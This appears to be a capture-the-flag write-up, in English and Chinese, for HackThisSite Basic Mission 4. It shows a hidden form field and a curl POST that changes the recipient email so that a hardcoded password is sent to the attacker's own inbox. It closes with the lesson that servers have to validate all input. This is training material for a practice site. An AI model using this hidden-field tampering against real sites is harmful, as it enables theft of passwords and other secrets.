HackThisSite - Basic Mission 4

Challenge

This time Sam hardcoded the password into the script. However, the password is long and complex, and Sam is often forgetful. So he wrote a script that would email his password to him automatically in case he forgot.

这次 Sam 把密码硬编码在脚本里了。密码很长很复杂,而 Sam 经常忘,所以他写了一个脚本,会自动把密码发送到他的邮箱。

页面上有两个表单: - 一个"Send password to Sam"按钮 - 一个密码输入框

Solution

查看源代码,发现"Send password to Sam"按钮对应的表单里有一个隐藏字段:

1
2
3
4
<form action="/missions/basic/4/level4.php" method="post">
<input type="hidden" name="to" value="sam@hackthissite.org" />
<input type="submit" value="Send password to Sam" />
</form>

收件人地址 sam@hackthissite.org 是硬编码的。只需将 to 字段的值改成你自己的邮箱地址,然后提交——密码就会发到你的邮箱。

修改方式: 1. 浏览器开发者工具(F12)→ Elements → 直接修改 value="sam@hackthissite.org" 为你的邮箱 2. 或者用 curl 直接 POST:

1
2
3
4
$ curl -sL -b 'HackThisSite=YOUR_COOKIE' \
-e 'https://www.hackthissite.org/missions/basic/4/' \
-d 'to=YOUR_EMAIL' \
'https://www.hackthissite.org/missions/basic/4/level4.php'

然后去邮箱查收密码。

客户端表单验证毫无意义。任何隐藏字段都可以被修改,任何表单都可以被自定义提交。服务端必须独立验证所有输入。

206a6f9d